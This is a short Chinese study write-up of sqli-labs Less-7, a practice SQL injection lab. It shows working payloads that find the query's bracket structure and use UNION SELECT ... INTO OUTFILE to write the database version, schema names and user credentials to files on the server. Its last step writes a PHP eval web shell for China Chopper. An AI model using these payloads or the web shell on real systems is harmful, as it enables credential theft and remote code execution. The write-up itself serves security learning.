Less-7 GET - Dump into outfile -String
1.原页面
2. 分析是哪种类型注入
?id=1
?id=1’
?id=1”
?id=1’ or 1=1–+
将查询语句后半段注释掉发现仍然报错
说明有括号。
?id=1’) or 1=1–+
?id=1’)) or 1=1–+
推断查询语句为:Select * from users where id=((‘$id’))
查看源代码:
3.查询字段
对文件读取前提:1. 用户权限足够高,尽量具有root权限
2. Secure_file_priv不为NULL
测试权限:
?id=1’)) and (select count(*) from mysql.user)>0–+
回显正常说明有权限
secure_file_priv不能为null
注意:在Mysql中,需要注意路径转义的问题,即用\\分隔。
4.查看用户 数据库 版本
?id=0’)) union select version(),user(),database() into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\a.txt”–+"
5.查看表名
?id=0’)) union select 1,2,table_name from information_schema.tables where table_schema=‘security’ into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\b.txt”–+"
6.查看字段名
?id=0’)) union select 1,2,column_name from information_schema.columns where table_name=‘users’ into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\c.txt”–+"
7.查看用户名 密码
?id=0’)) union select 1,username,password from users into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\d.txt”–+"
8.也可以使用中国菜刀连接
?id=-1’)) union select 1,2,’<?php @eval($_POST[“abc”]);?>’ into outfile “C:\\phpstudy\\WWW\\sqli\\Less-7\\2.php”–+
自己的一点理解 有错误的地方欢迎指正。